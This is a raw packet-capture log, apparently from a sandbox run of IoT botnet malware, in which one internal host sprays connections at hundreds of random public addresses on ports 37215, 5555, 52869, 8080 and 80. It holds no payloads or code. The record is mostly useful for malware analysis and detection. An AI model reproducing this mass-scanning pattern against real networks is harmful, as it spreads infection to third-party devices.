Feb 12, 2023 21:24:45.891725063 CET	52981	37215	192.168.2.23	157.3.78.192
Feb 12, 2023 21:24:45.891732931 CET	52981	37215	192.168.2.23	197.71.152.22
Feb 12, 2023 21:24:45.891755104 CET	52981	37215	192.168.2.23	41.213.244.102
Feb 12, 2023 21:24:45.891776085 CET	52981	37215	192.168.2.23	192.118.152.247
Feb 12, 2023 21:24:45.891791105 CET	52981	37215	192.168.2.23	41.113.141.220
Feb 12, 2023 21:24:45.891791105 CET	52981	37215	192.168.2.23	197.187.127.149
Feb 12, 2023 21:24:45.891791105 CET	52981	37215	192.168.2.23	197.182.198.163
Feb 12, 2023 21:24:45.891792059 CET	52981	37215	192.168.2.23	197.233.35.73
Feb 12, 2023 21:24:45.891820908 CET	52981	37215	192.168.2.23	101.164.62.251
Feb 12, 2023 21:24:45.891820908 CET	52981	37215	192.168.2.23	41.31.131.139
Feb 12, 2023 21:24:45.891781092 CET	52981	37215	192.168.2.23	199.38.143.148
Feb 12, 2023 21:24:45.891844034 CET	52981	37215	192.168.2.23	41.208.138.12
Feb 12, 2023 21:24:45.891849995 CET	52981	37215	192.168.2.23	153.12.134.48
Feb 12, 2023 21:24:45.891870975 CET	52981	37215	192.168.2.23	41.166.43.97
Feb 12, 2023 21:24:45.891891003 CET	52981	37215	192.168.2.23	98.218.148.95
Feb 12, 2023 21:24:45.891896963 CET	52981	37215	192.168.2.23	157.133.64.206
Feb 12, 2023 21:24:45.891906977 CET	52981	37215	192.168.2.23	41.69.108.1
Feb 12, 2023 21:24:45.891918898 CET	52981	37215	192.168.2.23	41.131.36.116
Feb 12, 2023 21:24:45.891927004 CET	52981	37215	192.168.2.23	197.80.11.32
Feb 12, 2023 21:24:45.891935110 CET	52981	37215	192.168.2.23	132.244.75.72
Feb 12, 2023 21:24:45.891968966 CET	52981	37215	192.168.2.23	197.214.210.65
Feb 12, 2023 21:24:45.891973972 CET	52981	37215	192.168.2.23	145.135.229.249
Feb 12, 2023 21:24:45.891982079 CET	52981	37215	192.168.2.23	155.146.75.50
Feb 12, 2023 21:24:45.891988039 CET	52981	37215	192.168.2.23	41.223.114.105
Feb 12, 2023 21:24:45.892020941 CET	52981	37215	192.168.2.23	41.183.91.68
Feb 12, 2023 21:24:45.892034054 CET	52981	37215	192.168.2.23	197.65.190.212
Feb 12, 2023 21:24:45.892040014 CET	52981	37215	192.168.2.23	104.121.122.166
Feb 12, 2023 21:24:45.892040014 CET	52981	37215	192.168.2.23	197.191.5.106
Feb 12, 2023 21:24:45.892071009 CET	52981	37215	192.168.2.23	41.240.90.233
Feb 12, 2023 21:24:45.892076015 CET	52981	37215	192.168.2.23	18.123.124.141
Feb 12, 2023 21:24:45.892102957 CET	52981	37215	192.168.2.23	197.181.76.173
Feb 12, 2023 21:24:45.892102957 CET	52981	37215	192.168.2.23	157.85.49.82
Feb 12, 2023 21:24:45.892124891 CET	52981	37215	192.168.2.23	41.202.153.94
Feb 12, 2023 21:24:45.892132998 CET	52981	37215	192.168.2.23	41.246.51.8
Feb 12, 2023 21:24:45.892148018 CET	52981	37215	192.168.2.23	41.207.188.184
Feb 12, 2023 21:24:45.892149925 CET	52981	37215	192.168.2.23	157.220.87.176
Feb 12, 2023 21:24:45.892170906 CET	52981	37215	192.168.2.23	41.91.242.202
Feb 12, 2023 21:24:45.892173052 CET	52981	37215	192.168.2.23	171.87.128.138
Feb 12, 2023 21:24:45.892170906 CET	52981	37215	192.168.2.23	157.37.127.19
Feb 12, 2023 21:24:45.892172098 CET	52981	37215	192.168.2.23	197.182.147.207
Feb 12, 2023 21:24:45.892174006 CET	52981	37215	192.168.2.23	38.26.73.251
Feb 12, 2023 21:24:45.892170906 CET	52981	37215	192.168.2.23	41.200.208.251
Feb 12, 2023 21:24:45.892210960 CET	52981	37215	192.168.2.23	157.179.125.51
Feb 12, 2023 21:24:45.892220974 CET	52981	37215	192.168.2.23	115.188.1.232
Feb 12, 2023 21:24:45.892220974 CET	52981	37215	192.168.2.23	41.237.213.65
Feb 12, 2023 21:24:45.892224073 CET	52981	37215	192.168.2.23	41.209.149.45
Feb 12, 2023 21:24:45.892225981 CET	52981	37215	192.168.2.23	41.142.246.4
Feb 12, 2023 21:24:45.892230988 CET	52981	37215	192.168.2.23	157.124.131.93
Feb 12, 2023 21:24:45.892230988 CET	52981	37215	192.168.2.23	197.236.45.56
Feb 12, 2023 21:24:45.892230988 CET	52981	37215	192.168.2.23	41.94.110.145
Feb 12, 2023 21:24:45.892231941 CET	52981	37215	192.168.2.23	157.46.166.168
Feb 12, 2023 21:24:45.892235041 CET	52981	37215	192.168.2.23	157.25.247.40
Feb 12, 2023 21:24:45.892242908 CET	52981	37215	192.168.2.23	197.225.163.108
Feb 12, 2023 21:24:45.892242908 CET	52981	37215	192.168.2.23	197.230.76.64
Feb 12, 2023 21:24:45.892246962 CET	52981	37215	192.168.2.23	155.251.204.47
Feb 12, 2023 21:24:45.892254114 CET	52981	37215	192.168.2.23	197.96.186.77
Feb 12, 2023 21:24:45.892266035 CET	52981	37215	192.168.2.23	41.89.18.254
Feb 12, 2023 21:24:45.892296076 CET	52981	37215	192.168.2.23	41.251.87.211
Feb 12, 2023 21:24:45.892309904 CET	52981	37215	192.168.2.23	157.112.14.82
Feb 12, 2023 21:24:45.892317057 CET	52981	37215	192.168.2.23	197.163.180.177
Feb 12, 2023 21:24:45.892319918 CET	52981	37215	192.168.2.23	41.150.17.232
Feb 12, 2023 21:24:45.892324924 CET	52981	37215	192.168.2.23	171.205.79.38
Feb 12, 2023 21:24:45.892359018 CET	52981	37215	192.168.2.23	197.176.20.83
Feb 12, 2023 21:24:45.892364025 CET	52981	37215	192.168.2.23	41.10.73.126
Feb 12, 2023 21:24:45.892393112 CET	52981	37215	192.168.2.23	129.201.149.96
Feb 12, 2023 21:24:45.892395020 CET	52981	37215	192.168.2.23	196.82.127.66
Feb 12, 2023 21:24:45.892396927 CET	52981	37215	192.168.2.23	157.95.164.79
Feb 12, 2023 21:24:45.892396927 CET	52981	37215	192.168.2.23	197.102.86.125
Feb 12, 2023 21:24:45.892400980 CET	52981	37215	192.168.2.23	138.18.131.241
Feb 12, 2023 21:24:45.892405987 CET	52981	37215	192.168.2.23	201.216.181.215
Feb 12, 2023 21:24:45.892433882 CET	52981	37215	192.168.2.23	197.176.41.60
Feb 12, 2023 21:24:45.892441034 CET	52981	37215	192.168.2.23	197.11.100.101
Feb 12, 2023 21:24:45.892493010 CET	52981	37215	192.168.2.23	197.233.225.68
Feb 12, 2023 21:24:45.892496109 CET	52981	37215	192.168.2.23	41.40.192.200
Feb 12, 2023 21:24:45.892504930 CET	52981	37215	192.168.2.23	197.156.190.248
Feb 12, 2023 21:24:45.892530918 CET	52981	37215	192.168.2.23	157.145.242.248
Feb 12, 2023 21:24:45.892543077 CET	52981	37215	192.168.2.23	41.27.157.40
Feb 12, 2023 21:24:45.892564058 CET	52981	37215	192.168.2.23	157.238.67.36
Feb 12, 2023 21:24:45.892566919 CET	52981	37215	192.168.2.23	197.60.172.254
Feb 12, 2023 21:24:45.892570019 CET	52981	37215	192.168.2.23	41.72.81.59
Feb 12, 2023 21:24:45.892570019 CET	52981	37215	192.168.2.23	41.119.29.183
Feb 12, 2023 21:24:45.892570972 CET	52981	37215	192.168.2.23	157.128.196.252
Feb 12, 2023 21:24:45.892570019 CET	52981	37215	192.168.2.23	157.201.167.147
Feb 12, 2023 21:24:45.892576933 CET	52981	37215	192.168.2.23	197.186.10.59
Feb 12, 2023 21:24:45.892585993 CET	52981	37215	192.168.2.23	181.40.29.225
Feb 12, 2023 21:24:45.892607927 CET	52981	37215	192.168.2.23	111.191.137.122
Feb 12, 2023 21:24:45.892607927 CET	52981	37215	192.168.2.23	157.62.207.166
Feb 12, 2023 21:24:45.892632961 CET	52981	37215	192.168.2.23	197.224.115.117
Feb 12, 2023 21:24:45.892657042 CET	52981	37215	192.168.2.23	65.110.76.225
Feb 12, 2023 21:24:45.892657995 CET	52981	37215	192.168.2.23	41.233.138.236
Feb 12, 2023 21:24:45.892669916 CET	52981	37215	192.168.2.23	157.249.190.186
Feb 12, 2023 21:24:45.892678976 CET	52981	37215	192.168.2.23	157.180.243.40
Feb 12, 2023 21:24:45.892697096 CET	52981	37215	192.168.2.23	157.238.77.149
Feb 12, 2023 21:24:45.892709017 CET	52981	37215	192.168.2.23	157.213.90.93
Feb 12, 2023 21:24:45.892745972 CET	52981	37215	192.168.2.23	197.244.60.101
Feb 12, 2023 21:24:45.892745972 CET	52981	37215	192.168.2.23	165.217.66.207
Feb 12, 2023 21:24:45.892754078 CET	52981	37215	192.168.2.23	197.37.193.142
Feb 12, 2023 21:24:45.892786980 CET	52981	37215	192.168.2.23	197.120.94.222
Feb 12, 2023 21:24:45.892786980 CET	52981	37215	192.168.2.23	128.44.209.140
Feb 12, 2023 21:24:45.892788887 CET	52981	37215	192.168.2.23	41.226.251.42
Feb 12, 2023 21:24:45.892819881 CET	52981	37215	192.168.2.23	157.169.119.247
Feb 12, 2023 21:24:45.892837048 CET	52981	37215	192.168.2.23	197.94.110.21
Feb 12, 2023 21:24:45.892838955 CET	52981	37215	192.168.2.23	157.175.218.59
Feb 12, 2023 21:24:45.892858028 CET	52981	37215	192.168.2.23	157.163.118.111
Feb 12, 2023 21:24:45.892863035 CET	52981	37215	192.168.2.23	197.16.173.96
Feb 12, 2023 21:24:45.892863989 CET	52981	37215	192.168.2.23	41.10.146.19
Feb 12, 2023 21:24:45.892863989 CET	52981	37215	192.168.2.23	197.80.136.212
Feb 12, 2023 21:24:45.892884016 CET	52981	37215	192.168.2.23	41.170.119.151
Feb 12, 2023 21:24:45.892884016 CET	52981	37215	192.168.2.23	12.86.64.8
Feb 12, 2023 21:24:45.892903090 CET	52981	37215	192.168.2.23	213.143.32.20
Feb 12, 2023 21:24:45.892903090 CET	52981	37215	192.168.2.23	197.211.255.64
Feb 12, 2023 21:24:45.892911911 CET	52981	37215	192.168.2.23	157.102.142.70
Feb 12, 2023 21:24:45.892925978 CET	52981	37215	192.168.2.23	41.99.125.88
Feb 12, 2023 21:24:45.892950058 CET	52981	37215	192.168.2.23	197.243.199.254
Feb 12, 2023 21:24:45.892960072 CET	52981	37215	192.168.2.23	197.133.136.75
Feb 12, 2023 21:24:45.892981052 CET	52981	37215	192.168.2.23	157.210.212.194
Feb 12, 2023 21:24:45.892986059 CET	52981	37215	192.168.2.23	157.52.7.138
Feb 12, 2023 21:24:45.893009901 CET	52981	37215	192.168.2.23	157.88.246.223
Feb 12, 2023 21:24:45.893009901 CET	52981	37215	192.168.2.23	41.172.199.17
Feb 12, 2023 21:24:45.893023014 CET	52981	37215	192.168.2.23	157.11.55.78
Feb 12, 2023 21:24:45.893045902 CET	52981	37215	192.168.2.23	206.113.168.249
Feb 12, 2023 21:24:45.893057108 CET	52981	37215	192.168.2.23	157.104.120.21
Feb 12, 2023 21:24:45.893059969 CET	52981	37215	192.168.2.23	161.64.74.164
Feb 12, 2023 21:24:45.893073082 CET	52981	37215	192.168.2.23	157.189.62.79
Feb 12, 2023 21:24:45.893088102 CET	52981	37215	192.168.2.23	58.161.75.20
Feb 12, 2023 21:24:45.893089056 CET	52981	37215	192.168.2.23	157.166.63.126
Feb 12, 2023 21:24:45.893102884 CET	52981	37215	192.168.2.23	145.139.132.114
Feb 12, 2023 21:24:45.893106937 CET	52981	37215	192.168.2.23	157.107.46.240
Feb 12, 2023 21:24:45.893127918 CET	52981	37215	192.168.2.23	157.168.209.39
Feb 12, 2023 21:24:45.893131971 CET	52981	37215	192.168.2.23	157.72.250.176
Feb 12, 2023 21:24:45.893146038 CET	52981	37215	192.168.2.23	43.141.54.155
Feb 12, 2023 21:24:45.893173933 CET	52981	37215	192.168.2.23	41.70.220.41
Feb 12, 2023 21:24:45.893181086 CET	52981	37215	192.168.2.23	157.62.234.225
Feb 12, 2023 21:24:45.893203974 CET	52981	37215	192.168.2.23	41.65.8.88
Feb 12, 2023 21:24:45.893213987 CET	52981	37215	192.168.2.23	41.115.160.177
Feb 12, 2023 21:24:45.893225908 CET	52981	37215	192.168.2.23	41.128.171.121
Feb 12, 2023 21:24:45.893237114 CET	52981	37215	192.168.2.23	174.248.229.152
Feb 12, 2023 21:24:45.893237114 CET	52981	37215	192.168.2.23	197.150.231.171
Feb 12, 2023 21:24:45.893240929 CET	52981	37215	192.168.2.23	197.41.73.107
Feb 12, 2023 21:24:45.893271923 CET	52981	37215	192.168.2.23	197.75.242.117
Feb 12, 2023 21:24:45.893309116 CET	52981	37215	192.168.2.23	197.224.134.178
Feb 12, 2023 21:24:45.893321037 CET	52981	37215	192.168.2.23	41.11.20.184
Feb 12, 2023 21:24:45.893321037 CET	52981	37215	192.168.2.23	41.252.189.4
Feb 12, 2023 21:24:45.893343925 CET	52981	37215	192.168.2.23	197.112.20.182
Feb 12, 2023 21:24:45.893345118 CET	52981	37215	192.168.2.23	197.52.180.102
Feb 12, 2023 21:24:45.893345118 CET	52981	37215	192.168.2.23	41.130.237.226
Feb 12, 2023 21:24:45.893345118 CET	52981	37215	192.168.2.23	197.109.64.143
Feb 12, 2023 21:24:45.893345118 CET	52981	37215	192.168.2.23	166.19.217.196
Feb 12, 2023 21:24:45.893347979 CET	52981	37215	192.168.2.23	157.68.185.63
Feb 12, 2023 21:24:45.893362045 CET	52981	37215	192.168.2.23	197.204.43.233
Feb 12, 2023 21:24:45.893362045 CET	52981	37215	192.168.2.23	197.34.30.212
Feb 12, 2023 21:24:45.893362999 CET	52981	37215	192.168.2.23	157.51.218.242
Feb 12, 2023 21:24:45.893443108 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:45.903896093 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:45.903911114 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:45.910984039 CET	5555	22272	165.166.160.62	192.168.2.23
Feb 12, 2023 21:24:45.912280083 CET	5555	22272	154.113.157.156	192.168.2.23
Feb 12, 2023 21:24:45.915196896 CET	37215	52981	157.90.143.85	192.168.2.23
Feb 12, 2023 21:24:45.933450937 CET	37215	40274	77.131.0.7	192.168.2.23
Feb 12, 2023 21:24:45.933689117 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:45.933779955 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:45.933779955 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:45.952454090 CET	37215	52981	213.143.32.20	192.168.2.23
Feb 12, 2023 21:24:45.953840971 CET	37215	40324	197.193.57.129	192.168.2.23
Feb 12, 2023 21:24:45.953984022 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:45.954281092 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:45.954339027 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:45.954746962 CET	37215	52981	197.194.154.125	192.168.2.23
Feb 12, 2023 21:24:45.954886913 CET	52981	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:45.960570097 CET	37215	53274	197.199.51.85	192.168.2.23
Feb 12, 2023 21:24:45.960710049 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:45.960758924 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:45.960834980 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:45.960869074 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:46.013878107 CET	51534	49152	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:46.022141933 CET	37215	46328	197.194.154.125	192.168.2.23
Feb 12, 2023 21:24:46.022387028 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:46.022459030 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:46.022459030 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:46.045088053 CET	5555	22272	36.227.240.171	192.168.2.23
Feb 12, 2023 21:24:46.049643040 CET	5555	22272	118.55.51.99	192.168.2.23
Feb 12, 2023 21:24:46.063922882 CET	54656	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.063931942 CET	55414	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.063941956 CET	54658	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.064035892 CET	55408	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.068954945 CET	5555	22272	211.203.241.180	192.168.2.23
Feb 12, 2023 21:24:46.086355925 CET	37215	52981	41.94.110.145	192.168.2.23
Feb 12, 2023 21:24:46.092588902 CET	37215	52981	41.169.24.159	192.168.2.23
Feb 12, 2023 21:24:46.095920086 CET	54662	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.095935106 CET	55418	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.099252939 CET	37215	52981	197.214.210.65	192.168.2.23
Feb 12, 2023 21:24:46.127947092 CET	59980	80	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:46.223809004 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:46.287940979 CET	46328	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:46.317287922 CET	55196	8080	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:46.383924007 CET	40706	80	192.168.2.23	53.46.51.57
Feb 12, 2023 21:24:46.383954048 CET	36526	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:46.383961916 CET	53892	80	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:46.383997917 CET	57258	80	192.168.2.23	55.56.46.49
Feb 12, 2023 21:24:46.384007931 CET	49814	80	192.168.2.23	56.50.46.49
Feb 12, 2023 21:24:46.415891886 CET	52214	81	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:46.447968960 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:46.620790958 CET	54768	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.623091936 CET	54770	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.626521111 CET	54772	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.629482031 CET	55528	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.632083893 CET	54776	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:46.634109974 CET	55532	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.671937943 CET	52150	80	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:46.671942949 CET	35664	80	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:46.671942949 CET	42680	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.671943903 CET	46252	80	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:46.671964884 CET	55114	80	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:46.671972036 CET	51060	80	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:46.671972036 CET	36544	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:46.671972036 CET	43498	80	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:46.671992064 CET	57196	80	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:46.703947067 CET	34440	52869	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:46.703979015 CET	37310	52869	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:46.735796928 CET	39806	80	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:46.735831022 CET	49302	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:46.739773035 CET	51060	52869	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:46.767786980 CET	40324	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:46.767796993 CET	53312	52869	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:46.767801046 CET	47130	52869	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:46.767801046 CET	45980	52869	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:46.767818928 CET	34710	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:46.767832041 CET	41306	52869	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:46.787692070 CET	22272	5555	192.168.2.23	179.83.71.0
Feb 12, 2023 21:24:46.787692070 CET	22272	5555	192.168.2.23	104.67.132.138
Feb 12, 2023 21:24:46.787692070 CET	22272	5555	192.168.2.23	60.30.37.91
Feb 12, 2023 21:24:46.787699938 CET	22272	5555	192.168.2.23	121.130.191.183
Feb 12, 2023 21:24:46.787700891 CET	22272	5555	192.168.2.23	192.34.95.146
Feb 12, 2023 21:24:46.787700891 CET	22272	5555	192.168.2.23	223.33.61.202
Feb 12, 2023 21:24:46.787708998 CET	22272	5555	192.168.2.23	93.89.23.116
Feb 12, 2023 21:24:46.787708998 CET	22272	5555	192.168.2.23	222.87.215.120
Feb 12, 2023 21:24:46.787713051 CET	22272	5555	192.168.2.23	14.41.1.51
Feb 12, 2023 21:24:46.787713051 CET	22272	5555	192.168.2.23	155.119.76.172
Feb 12, 2023 21:24:46.787713051 CET	22272	5555	192.168.2.23	176.239.196.198
Feb 12, 2023 21:24:46.787723064 CET	22272	5555	192.168.2.23	34.162.108.41
Feb 12, 2023 21:24:46.787724018 CET	22272	5555	192.168.2.23	85.170.124.117
Feb 12, 2023 21:24:46.787724018 CET	22272	5555	192.168.2.23	31.11.193.89
Feb 12, 2023 21:24:46.787753105 CET	22272	5555	192.168.2.23	218.199.71.209
Feb 12, 2023 21:24:46.787755013 CET	22272	5555	192.168.2.23	196.237.95.96
Feb 12, 2023 21:24:46.787755013 CET	22272	5555	192.168.2.23	108.87.135.99
Feb 12, 2023 21:24:46.787759066 CET	22272	5555	192.168.2.23	187.238.212.48
Feb 12, 2023 21:24:46.787759066 CET	22272	5555	192.168.2.23	110.162.164.230
Feb 12, 2023 21:24:46.787759066 CET	22272	5555	192.168.2.23	206.67.241.74
Feb 12, 2023 21:24:46.787759066 CET	22272	5555	192.168.2.23	210.119.46.108
Feb 12, 2023 21:24:46.787763119 CET	22272	5555	192.168.2.23	175.167.168.110
Feb 12, 2023 21:24:46.787763119 CET	22272	5555	192.168.2.23	167.67.154.77
Feb 12, 2023 21:24:46.787763119 CET	22272	5555	192.168.2.23	13.82.128.148
Feb 12, 2023 21:24:46.787763119 CET	22272	5555	192.168.2.23	204.119.34.181
Feb 12, 2023 21:24:46.787787914 CET	22272	5555	192.168.2.23	165.233.88.105
Feb 12, 2023 21:24:46.787787914 CET	22272	5555	192.168.2.23	46.79.208.56
Feb 12, 2023 21:24:46.787807941 CET	22272	5555	192.168.2.23	161.237.229.51
Feb 12, 2023 21:24:46.787807941 CET	22272	5555	192.168.2.23	167.35.117.239
Feb 12, 2023 21:24:46.787816048 CET	22272	5555	192.168.2.23	98.176.140.88
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	137.115.122.36
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	184.200.5.38
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	41.183.153.251
Feb 12, 2023 21:24:46.787817955 CET	22272	5555	192.168.2.23	9.169.222.98
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	188.13.16.220
Feb 12, 2023 21:24:46.787817955 CET	22272	5555	192.168.2.23	5.76.99.255
Feb 12, 2023 21:24:46.787822008 CET	22272	5555	192.168.2.23	184.35.222.232
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	42.110.175.175
Feb 12, 2023 21:24:46.787817955 CET	22272	5555	192.168.2.23	92.47.17.98
Feb 12, 2023 21:24:46.787822008 CET	22272	5555	192.168.2.23	96.206.141.237
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	217.201.159.23
Feb 12, 2023 21:24:46.787817001 CET	22272	5555	192.168.2.23	129.235.186.128
Feb 12, 2023 21:24:46.787830114 CET	22272	5555	192.168.2.23	219.112.223.50
Feb 12, 2023 21:24:46.787838936 CET	22272	5555	192.168.2.23	156.21.187.151
Feb 12, 2023 21:24:46.787839890 CET	22272	5555	192.168.2.23	73.7.101.145
Feb 12, 2023 21:24:46.787839890 CET	22272	5555	192.168.2.23	140.253.253.217
Feb 12, 2023 21:24:46.787839890 CET	22272	5555	192.168.2.23	81.27.131.215
Feb 12, 2023 21:24:46.787847996 CET	22272	5555	192.168.2.23	160.136.165.101
Feb 12, 2023 21:24:46.787847996 CET	22272	5555	192.168.2.23	82.193.66.103
Feb 12, 2023 21:24:46.787870884 CET	22272	5555	192.168.2.23	161.16.95.32
Feb 12, 2023 21:24:46.787874937 CET	22272	5555	192.168.2.23	184.51.89.175
Feb 12, 2023 21:24:46.787875891 CET	22272	5555	192.168.2.23	78.130.80.187
Feb 12, 2023 21:24:46.787877083 CET	22272	5555	192.168.2.23	130.66.171.251
Feb 12, 2023 21:24:46.787883043 CET	22272	5555	192.168.2.23	89.191.220.223
Feb 12, 2023 21:24:46.787883043 CET	22272	5555	192.168.2.23	77.250.133.22
Feb 12, 2023 21:24:46.787883043 CET	22272	5555	192.168.2.23	212.46.11.170
Feb 12, 2023 21:24:46.787889004 CET	22272	5555	192.168.2.23	168.179.243.0
Feb 12, 2023 21:24:46.787889004 CET	22272	5555	192.168.2.23	144.53.93.66
Feb 12, 2023 21:24:46.787889004 CET	22272	5555	192.168.2.23	80.170.180.247
Feb 12, 2023 21:24:46.787889004 CET	22272	5555	192.168.2.23	151.187.181.204
Feb 12, 2023 21:24:46.787889957 CET	22272	5555	192.168.2.23	65.151.231.104
Feb 12, 2023 21:24:46.787889957 CET	22272	5555	192.168.2.23	177.177.106.191
Feb 12, 2023 21:24:46.787889957 CET	22272	5555	192.168.2.23	66.62.198.71
Feb 12, 2023 21:24:46.787903070 CET	22272	5555	192.168.2.23	147.192.182.37
Feb 12, 2023 21:24:46.787903070 CET	22272	5555	192.168.2.23	113.102.134.19
Feb 12, 2023 21:24:46.787903070 CET	22272	5555	192.168.2.23	181.100.201.143
Feb 12, 2023 21:24:46.787909985 CET	22272	5555	192.168.2.23	203.85.156.205
Feb 12, 2023 21:24:46.787913084 CET	22272	5555	192.168.2.23	54.245.102.117
Feb 12, 2023 21:24:46.787913084 CET	22272	5555	192.168.2.23	4.22.102.150
Feb 12, 2023 21:24:46.787914038 CET	22272	5555	192.168.2.23	118.231.95.49
Feb 12, 2023 21:24:46.787914038 CET	22272	5555	192.168.2.23	83.122.2.179
Feb 12, 2023 21:24:46.787919998 CET	22272	5555	192.168.2.23	212.234.131.89
Feb 12, 2023 21:24:46.787920952 CET	22272	5555	192.168.2.23	129.142.42.65
Feb 12, 2023 21:24:46.787919998 CET	22272	5555	192.168.2.23	95.7.77.98
Feb 12, 2023 21:24:46.787935972 CET	22272	5555	192.168.2.23	101.64.141.17
Feb 12, 2023 21:24:46.787938118 CET	22272	5555	192.168.2.23	20.100.224.142
Feb 12, 2023 21:24:46.787945032 CET	22272	5555	192.168.2.23	134.208.145.5
Feb 12, 2023 21:24:46.787945032 CET	22272	5555	192.168.2.23	221.211.198.152
Feb 12, 2023 21:24:46.787945032 CET	22272	5555	192.168.2.23	183.156.193.187
Feb 12, 2023 21:24:46.787949085 CET	22272	5555	192.168.2.23	159.131.163.178
Feb 12, 2023 21:24:46.787955046 CET	22272	5555	192.168.2.23	140.98.156.126
Feb 12, 2023 21:24:46.787959099 CET	22272	5555	192.168.2.23	124.148.197.166
Feb 12, 2023 21:24:46.787961006 CET	22272	5555	192.168.2.23	90.65.188.94
Feb 12, 2023 21:24:46.787980080 CET	22272	5555	192.168.2.23	222.205.147.151
Feb 12, 2023 21:24:46.788018942 CET	22272	5555	192.168.2.23	95.191.214.6
Feb 12, 2023 21:24:46.788019896 CET	22272	5555	192.168.2.23	160.250.124.154
Feb 12, 2023 21:24:46.788019896 CET	22272	5555	192.168.2.23	207.140.108.72
Feb 12, 2023 21:24:46.788023949 CET	22272	5555	192.168.2.23	35.61.222.71
Feb 12, 2023 21:24:46.788021088 CET	22272	5555	192.168.2.23	165.137.197.184
Feb 12, 2023 21:24:46.788021088 CET	22272	5555	192.168.2.23	18.244.186.183
Feb 12, 2023 21:24:46.788021088 CET	22272	5555	192.168.2.23	60.121.62.118
Feb 12, 2023 21:24:46.788021088 CET	22272	5555	192.168.2.23	187.191.60.92
Feb 12, 2023 21:24:46.788045883 CET	22272	5555	192.168.2.23	25.68.118.228
Feb 12, 2023 21:24:46.788050890 CET	22272	5555	192.168.2.23	197.77.47.166
Feb 12, 2023 21:24:46.788052082 CET	22272	5555	192.168.2.23	169.2.144.147
Feb 12, 2023 21:24:46.788080931 CET	22272	5555	192.168.2.23	148.134.210.196
Feb 12, 2023 21:24:46.788081884 CET	22272	5555	192.168.2.23	141.191.255.16
Feb 12, 2023 21:24:46.788108110 CET	22272	5555	192.168.2.23	197.137.71.10
Feb 12, 2023 21:24:46.788111925 CET	22272	5555	192.168.2.23	23.155.122.198
Feb 12, 2023 21:24:46.788136959 CET	22272	5555	192.168.2.23	152.234.128.184
Feb 12, 2023 21:24:46.788136959 CET	22272	5555	192.168.2.23	198.132.206.79
Feb 12, 2023 21:24:46.788151979 CET	22272	5555	192.168.2.23	71.119.249.46
Feb 12, 2023 21:24:46.788151979 CET	22272	5555	192.168.2.23	8.183.230.176
Feb 12, 2023 21:24:46.788171053 CET	22272	5555	192.168.2.23	82.251.78.113
Feb 12, 2023 21:24:46.788177967 CET	22272	5555	192.168.2.23	195.127.173.56
